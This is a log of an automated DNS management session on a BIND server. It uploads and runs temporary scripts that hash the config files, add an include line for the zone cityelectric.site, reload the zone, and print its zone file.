MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 7f03a0db9b613acaa1b803065e09ef53
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:20:35: Establishing a connection
2026-02-09 14:20:35: Establishing a connection
2026-02-09 14:20:36: 

PUT: /tmp/pkp983739

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:20:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp983739; rm /tmp/pkp983739'

2026-02-09 14:20:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 7f03a0db9b613acaa1b803065e09ef53
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:20:36: 

PUT: /tmp/pkp405085

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-02-09 14:20:36: 

chmod 755 /tmp/pkp405085; /tmp/pkp405085; rm /tmp/pkp405085

2026-02-09 14:20:39: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-02-09 14:20:39: 

PUT: /tmp/pkp382744

#!/bin/bash
rndc reload cityelectric.site 2>&1


2026-02-09 14:20:39: 

chmod 755 /tmp/pkp382744; /tmp/pkp382744; rm /tmp/pkp382744

2026-02-09 14:20:39: 


zone reload queued


2026-02-09 14:20:40: Establishing a connection
2026-02-09 14:20:40: 

PUT: /tmp/pkp995184

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:20:40: 

runuser -l bind -s /bin/bash -c '/tmp/pkp995184; rm /tmp/pkp995184'

2026-02-09 14:20:40: 
2026-02-09 14:20:40: 

PUT: /tmp/pkp466264

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 14:20:40: 

chmod 755 /tmp/pkp466264; /tmp/pkp466264; rm /tmp/pkp466264

2026-02-09 14:20:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	892
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 134129367 14400 3600 14400 3600 )
@                        		 IN    A        	10.140.12.84
_acme-challenge           60	 IN    TXT      	"e70bvyizDy7mjcpjSMUe9Iok43ywIIc6FywMiO82lZc"
